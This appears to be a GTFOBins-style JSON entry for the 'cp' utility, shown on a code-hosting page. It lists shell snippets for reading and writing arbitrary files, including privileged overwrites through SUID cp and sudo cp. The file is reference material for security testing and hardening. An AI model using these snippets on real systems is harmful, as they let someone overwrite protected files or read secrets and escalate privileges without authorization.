You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
32 lines
877 B
JSON
32 lines
877 B
JSON
{
|
|
"functions": {
|
|
"file-read": [
|
|
{
|
|
"code": "cp \"[file]\" /dev/stdout\n"
|
|
}
|
|
],
|
|
"file-write": [
|
|
{
|
|
"code": "echo \"DATA\" | cp /dev/stdin \"[file]\"\n"
|
|
}
|
|
],
|
|
"suid": [
|
|
{
|
|
"code": "echo \"DATA\" | ./cp /dev/stdin \"[file]\"\n"
|
|
},
|
|
{
|
|
"description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.",
|
|
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\n./cp $TF [file]\n"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "echo \"DATA\" | sudo cp /dev/stdin \"[file]\"\n"
|
|
},
|
|
{
|
|
"description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.",
|
|
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF [file]\n"
|
|
}
|
|
]
|
|
}
|
|
} |